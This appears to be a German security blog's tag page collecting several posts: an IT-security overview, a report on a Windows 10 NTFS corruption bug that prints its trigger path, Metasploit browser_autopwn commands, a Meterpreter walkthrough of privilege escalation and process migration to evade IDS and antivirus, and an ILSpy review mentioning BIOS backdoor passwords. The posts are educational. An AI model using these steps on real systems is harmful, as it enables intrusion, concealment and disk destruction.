IT-Security oder IT-Sicherheit bezieht sich auf die Verwendung von Technologien, Prozessen und Verfahren, um die Integrität, Vertraulichkeit und Verfügbarkeit von Informationen und Systemen in einem Unternehmen oder einer Organisation zu gewährleisten. Dies umfasst die Verhinderung von Zugriffen durch unbefugte Nutzer, die Verhinderung von Datenverlust oder -beschädigung, die Überwachung von Netzwerkaktivitäten und die Bereitstellung von Sicherheitsmaßnahmen für sensible Daten und Systeme.Die Bedeutung von IT-Security hat in den letzten Jahren zugenommen, da Unternehmen und Organisationen immer mehr auf digitale Technologien und vernetzte Systeme angewiesen sind, um ihre Geschäftstätigkeiten auszuführen. Dies hat dazu geführt, dass sich die Bedrohungen durch Cyberkriminalität und andere Formen von Angriffen auf IT-Systeme vervielfacht haben.Um sich vor diesen Bedrohungen zu schützen, müssen Unternehmen und Organisationen eine umfassende IT-Security-Strategie entwickeln, die ihre spezifischen Bedürfnisse und Risiken berücksichtigt. Dies kann beinhalten, die Sicherheitsmaßnahmen von Netzwerken und Systemen zu verbessern, regelmäßige Sicherheitsüberprüfungen durchzuführen und Mitarbeiter über sichere Praktiken im Umgang mit digitalen Informationen zu schulen.Eine effektive IT-Security-Strategie ist auch für die Einhaltung von gesetzlichen und regulatorischen Anforderungen im Bereich der Datensicherheit und -privatsphäre wichtig. Dies kann beinhalten, die Einhaltung von Datenschutzbestimmungen wie der EU-Datenschutz-Grundverordnung (DSGVO) oder dem californischen Datenschutzgesetz (CCPA).Insgesamt ist IT-Security ein wichtiger Aspekt im heutigen digitalen Geschäftsumfeld. Es hilft Unternehmen und Organisationen, ihre IT-Systeme und Daten zu schützen und sicherzustellen, dass sie ihre Geschäftstätigkeiten effektiv und rechtssicher ausführen können.
Schlagwort: IT Security
Windows 10 Bug korrumpiert Ihre Festplatte beim Anblick dieses Dateisymbols
Ein ungepatchter Zero-Day in Microsoft Windows 10 ermöglicht es Angreifern, eine NTFS-formatierte Festplatte mit einem einzeiligen Befehl zu beschädigen. Bleeping Computer berichtet: Im August 2020, Oktober 2020 und zuletzt in dieser Woche machte der Infosec-Forscher Jonas L. auf eine NTFS-Schwachstelle in Windows 10 aufmerksam, die noch nicht behoben wurde. Wenn diese Schwachstelle ausgenutzt wird, kann sie durch einen einzeiligen Befehl ausgelöst werden, um eine NTFS-formatierte Festplatte sofort zu beschädigen, wobei Windows den Benutzer auffordert, seinen Computer neu zu starten, um die beschädigten Festplatteneinträge zu reparieren. Der Forscher erklärte gegenüber BleepingComputer, dass die Schwachstelle ab Windows 10 Build 1803, dem Windows 10 April 2018 Update, ausnutzbar wurde und auch in der neuesten Version noch funktioniert. Was noch schlimmer ist: Die Schwachstelle kann von Standard- und niedrig privilegierten Benutzerkonten auf Windows-10-Systemen ausgelöst werden. […] Es ist unklar, warum der Zugriff auf dieses Attribut das Laufwerk beschädigt, und Jonas sagte BleepingComputer, dass ein Registry-Schlüssel, der bei der Diagnose des Problems helfen würde, nicht funktioniert. Eine auffällige Erkenntnis, die Jonas mit uns teilte, war, dass eine manipulierte Windows-Verknüpfungsdatei (.url), deren Symbol auf C:\:$i30:$bitmap gesetzt war, die Schwachstelle auslöst, selbst wenn der Benutzer die Datei nie öffnet! Wie von BleepingComputer beobachtet, versucht der Windows Explorer, das Symbol der Datei anzuzeigen, sobald diese Verknüpfungsdatei auf einen Windows 10-PC heruntergeladen wird und der Benutzer den Ordner, in dem sie sich befindet, ansieht. Dazu würde der Windows Explorer versuchen, im Hintergrund auf den erstellten Symbolpfad in der Datei zuzugreifen, wodurch die NTFS-Festplatte beschädigt wird. Als Nächstes erscheinen auf dem Windows-PC Meldungen wie “Neustart zum Reparieren der Festplatte” – und das alles, ohne dass der Benutzer die Verknüpfungsdatei überhaupt geöffnet oder auf sie doppelgeklickt hat.
Man-in-the-Middle Angriff – Videotutorial
In diesem VideoTutorial wird gezeigt, was sich hinter einer sog. Man-in-the-Middle Attacke verbirgt und wie Sie Unregelmäßigkeiten in Ihrem Netzwerk aufdecken können sowie eine Möglichkeit sich davor zu schützen.
Metasploit Angriff mit Auxilary Browser Autopwn
Hallo zusammen, im Metasploit Framework gibt es eine Möglichkeit einen HTTP Server aufzusetzen, welcher gleich eine ganze Exploit Sammlung (20 Module) zum Angriff benutzt bis ein Angriff erfolgreich verläuft.
use auxiliary/server/browser_autopwn
set lhost 192.168.1.156
set srvport 80
set uripath browser-exploit-sammlung
exploit
Metasploit Grundlagen Teil 3 – Meterpreter
Willkommen zum Teil 3 – Meterpreter einsetzten.
Beschäftigen wir uns einmal ein wenig mit den sogenannten payload, der Teil eines Pentests, welcher eine Aktion ausführt im normalen Fall wird ein Payload nur eine einzelne Aktion durchführen wie z.B. einen Benutzer dem System hinzufügen, Bind Shell bindet sich auf einen Port. Im Normalfall sind die payloads der exploits remote shells, also Konsolen auf die sich der Pentester oder IT-Security spezialist verbindet. Meistens werden dabei neue Prozesse erzeugt, welche einen Arlam bei einem Instrusion Detection System (IDS) auslöst. Größere Firmen, welche wichtige Daten besitzen sollten IDS Systeme einsetzten und auch gleich Honeypot-Systeme!
ACHTUNG: Die Tools sind nicht im Sinne von §202 c StGB zu benutzen, sondern dienen lediglich Bildungszwecken für IT-Security interessierte!
ein gewöhnlicher payload erreicht nicht immer sein Ziel, wenn der Prozess z.B. Isoliert ausgeführt wurde, moderne Betriebsysteme unterstützen ASLR und DEP um den payload zu verhindern oder besser gesagt ins leere laufen zu lassen! Unser Testsystem Windows XP SP2 unterstützt bereits DEP.
Im Idealfall wird bei einem Payload kein neuer Prozess erzeugt und sollte im Kontext des angegriffenen Prozesses laufen. Es sollte desweiteren keine Datei angelegt werden, welche eine Firewall mit Verhaltenserkennung oder IDS oder gar Antivirusprogramme auf den Plan rufen. Ein perfekter payload ermöglicht es eine “Plattform” zu erzeugen welche sich aus der Ferne erweitern lässt, desweiteren sollte Scripting möglich sein, um diese remote Plattform erweitern zu können, am besten zur Laufzeit.
Genau diese Aufgaben erfüllt der Meterpreter vom Metasploit Framework, es wird durch eine Arbeitsspeicher DLL Injection ermöglicht. Es werden keine Dateien auf der Festplatte erzeugt. Zusätzlich ist die Kommunikation verschlüsselt, um Signaturen von Firewalls, IDS Systemen zu verhindern. Der Meterpreter überträgt als erstes die DLL Datei zum Angegriffenen System und ermöglicht es Befehle auszuführen, den kompletten Arbeitsspeicher / payload Plattform in einen anderen Prozess zu integrieren, Registry lesen und schreiben, Festplattenzugriff, einen Bericht über das angegriffene System erstellen und vieles mehr. Da diese Plattform erweiterbar ist durch Scripts ergeben sich endlose Möglichkeiten! Deshalb wird Metasploit auch von vielen IT-Security Analysten in der Welt eingesetzt – auch in Deutschland!
Auf zum meterpreter
Wir setzen den browser_autopwn Exploit auf, welcher aus 20 Modulen besteht und verschiedene Browser testet, Internet Explorer, Firefox, Safari, Opera, aber auch generelle Sicherheitslücken wie Java, Flash etc. Dieser Test kann sehr hilfreich sein, um bestehende Systeme mit Ihrer Konfiguration auf Sicherheitslücken zu prüfen!
Dieses Modul startet einen eigenen Webserver und testet beim aufrufen der URL des Webservers mittels Javascript um welchen Browser es sich handelt und leitet zu den entsprechenden Sicherheitslücken um.
Der Vorteil bei dem auxilary ist das sich die session automatisch an in einem neuen Prozess versteckt in diesem Fall in dem harmlosen Prozess notepad.exe, der Internet Explorer in diesem Fall schließt sich danach und man sieht keine Fehlermeldung.
Nachdem die Session offen ist, wie man im Prompt erkennen kann gibt man einfach den Befehl sessions -i 2 an.
Mit getuid sehen wir als welcher Benutzer wir unterwegs sind in unserer VM Maschine. In unserem Fall auf der Maschine 4Pentest-xxxx als Administrator. Weil uns diese Rechte nicht ausreichen erweitern wir diese nicht über getprivs damit können wir unsere Rechte erweitern falls, getsystem nicht funktioniert.
Jetzt wollen wir allerdings uns verstecken im System von Windows, dazu migrieren wir uns von dem ursprünglichen notepad.exe Prozess welcher unter Administratoren Rechte läuft unter einen svhost.exe Prozess welcher im Ring-0 also mit für normal sterbliche nicht erreichbaren Benutzerrechten liegt. In diesem Modus arbeiten die Treiber von Firewalls, Antivirusprogrammen, IDS. Über getpid (prozessid) wissen wir das wir noch in 508 sind, nun tippen wir ps ein und sehen alle Prozesse suchen uns einen Systemprozess PID 856 aus und (grüner Rahmen). Tippen den simplen Befehl migrate 856 ein und haben es geschafft und laufen nun physisch im Arbeitsspeicher vom Ring0 Prozess svhost.exe
To be continued….
ILSPY .NET Decompiler für C# und VB.NET
Hallo liebe Leser,
heute möchte ich euch ein bis heute aktives Projekt eines .NET Decompilers vorstellen (Juni 2011 – April 2019). Dieser Decompiler kann mit *.EXE und *.DLL Dateien von .NET C# (CSharp) und VB.NET umgehen und lesbaren Quellcode generieren.
Ein Dekompilierer ist ein Computerprogramm, das aus Maschinen- oder Objektcode für den Menschen wieder lesbaren Quelltext in einer Hochsprache erzeugt. Er versucht, den Vorgang des Kompilierens umzukehren.
n dem Beispiel auf dem Foto (§ 202c freundliches) sehen wir die MySQL.Connector für .NET. Es extrahiert die Kompletten Funktionsnamen des Programms oder der Bibliothek und zeigt dessen Quellcode an. Ein super .NET Decompiler der auch die Ursprungsform IL (Intermediate Language). Common Intermediate Language (CIL) (teilweise auch nur Intermediate Language (IL)) ist eine Zwischensprache, in die alle Programme der Common Language Infrastructure übersetzt werden. CIL ist eine objektorientierte Assemblersprache und ist vollständig stackbasiert.
Auf dem Zielcomputer wird die CIL von einem Laufzeitsystem (Virtual Execution System) in systemeigenen Programmcode übersetzt, um in CIL vorliegende Programme ausführen zu können.
CIL ist in frühen Entwicklungsphasen von .NET als Microsoft Intermediate Language (MSIL) bezeichnet worden, mit der Standardisierung der Common Language Infrastructure ist diese Bezeichnung aber verworfen worden.
Bei der Kompilierung von Quellcode aus .NET-Sprachen wird nicht direkt systemeigener Programmcode erzeugt, sondern in einem ersten Schritt zunächst CIL-Code. In CIL werden die Programmbefehle als eine Folge von Bytewerten (teilweise auch mehr als ein Byte) angegeben. Dieser Code wird auf dem Ausführungsrechner in einem Laufzeitsystem zu nativem Maschinencode übersetzt (Just in time (JIT) Kompilierung) und ausgeführt.
Während der Übersetzung werden auch die Sicherheit und die Korrektheit des Codes (Manipulation) überprüft.
Was kann der ILSpy .NET Decompiler? (Juni 2011)
Es unterstützt das komplette Microsoft .NET Framework also auch VB und nicht nur C#, aber ist ja auch verständlich, weil die beiden Sprachen nun mal CIL sind. Es kann zwischen einer C# Ansicht und einer detaillierteren IL Ansicht gewechselt werden. Elemente werden Gruppiert und können bequem über ein “+” / “-” Zeichen aufgeklappt und zugeklappt werden. Der Disassembler unterstützt das Suchen von Funktionsnamen. ILSpy lässt sich erweitern durch Plugins. Beim erneuten öffnen zeigt euch das Programm die letzte Position im Baum an, was ich sehr praktisch finde. Achja importiert man eine *.EXE Datei welche weitere .NET Bibliotheken benutzt werden diese mit importiert und das ganze bleibt auch bei einem erneuten Programmstart erhalten. Bei bedarf können einzelne Teile über Rechte Maustaste entfernt werden.
Der ILSPY Decompiler und Serial-Fishing
Diese können von Lizenznummern-Cracks berechnet werden oder aus dem Speicher abgelesen werden („Serial fishing“), das wäre bei Disassembler der Fall mit einem Decompiler habt ihr es einfacher und könnt direkt z.B. ein “magic Passwort / Hash” sehen und decrypten (gab in Vergangenheit und Zukunft) immer wieder Fälle wo diese “magic passwords” aufgedeckt wurden und die gerade Sicherheit von Hardware schwer in Mitleidenschaft ziehen können, weil ein komplexes Firmware-Update gebraucht wird, wenn der Hersteller überhaupt bereit ist ein Patch zu erstellen.
Wer kennt noch die “magic passwords” von BIOS der frühen 2000er? z.B. “LKWPETER”, damit konnte man wirklich jedes BIOS Passwort (manuell eingegeben umgehen, vielmehr aushebeln).
Hatte damals auch Zeit und Spaß daran kleinere Software zu untersuchen und in Schulen mein Unwesen zu treiben..
Aber eher mit Disassembler “Ein Disassembler ist ein Computerprogramm, das kodierte Maschinensprache eines ausführbaren Programmes in eine für Menschen lesbarere Assemblersprache umwandelt. Seine Funktionalität ist der eines Assemblers entgegengesetzt”
Security Code Review – Anwendungsfall (Juni 2011)
Ein Anwendungszenario ist zum Beispiel die Überprüfung des eigenen Quellcodes ob dort Konstanten angegeben wurden, man stelle sich statische Lizenzschlüssel vor, also nur einen für das komplette Programm der nicht generiert wird. Gleiches gilt für Benutzernamen und Passwort zum Beispiel Standardwerte, welche bei der Entwicklung vorhanden waren. Der SAMSUNG DATA MANAGEMENT SERVER SQLI besitzt z.B. ein Defaulwert root und ein Kennwort was ich hier nicht schreibe, ihr könnt euch einen guten Artikel zu dem Thema ansehen
Weitere Informationen und Download von ILSpy Decompiler für VB.NET und C# findet ihr auf Github
Rechtliche Lage zu Decompilern,”Patchen”,”Cracks” in Deutschland und International
Quelle: https://de.wikipedia.org/wiki/Crack_(Software)#Rechtliche_Lage
Die meisten kommerziellen Applikationen untersagen in ihren Lizenzbedingungen jegliche Modifikationen der Software oder sogar schon den Vorgang des Disassemblierens. In vielen Ländern existieren Gesetze, die definieren, inwieweit eine Modifikation eines Binärprogramms erlaubt ist. In Deutschland ist das Modifizieren eines Binärprogramms somit grundsätzlich erlaubt, solange die ursprüngliche Funktionalität des Programms nicht beeinträchtigt wird. Zusätzliche Funktionen dürfen dabei alleine zum Zwecke der Herstellung von Kompatibilität zu eigenen Programmen implementiert werden. Ein Patch darf dabei nur in Form eines Programms verbreitet werden, das die Originaldatei nach Vorgaben verändert, jedoch nicht in Form einer modifizierten Kopie der Originaldatei. Das Recht, ein Programm zum Zwecke der Herstellung von Kompatibilität zu verändern, ist auf internationaler Ebene nicht selbstverständlich. Das Untersagen jeglicher Modifikationen in den Lizenzbedingungen hat jedoch in den seltensten Fällen rechtswirksame Konsequenzen, da dies u. a. auch den Vorgang des Entfernens eines Computervirus durch Antivirenprogramme in Frage stellt.
Da die rechtliche Lage häufig unklar ist, was das Entfernen von einem Kopierschutz betrifft, verwenden manche kommerzielle Applikationen einen verschlüsselten oder komprimierten Binärcode, wodurch die Daten gemäß Vorgaben in ausführbaren Maschinencode konvertiert werden müssen, bevor sie vom Computer interpretierbar sind. Da die Programme jedoch dem Rechner „verraten“ müssen, wie die integrierten Daten zu konvertieren sind, ist es auch für Cracker nachvollziehbar, wie sich der Code in einen interpretierbaren Zustand konvertieren lässt. Die Software-Industrie implementiert solche Verfahren, um es einerseits den Crackern zu erschweren, das Programm zu interpretieren, jedoch auch, um die Möglichkeit zu unterbinden, ein Patch-Programm zur Modifikation des Original-Programms zu veröffentlichen, da es so nicht mehr möglich ist, das Programm durch das Verändern einzelner Bytes zu modifizieren, und als einzige Möglichkeit die Verbreitung einer vollständigen modifizierten Originaldatei verbleibt. Dies ist urheberrechtlich meist eindeutig untersagt.
Quelle: Juni 2011 (kid2elite, von mir) | Reviewed April 2019.
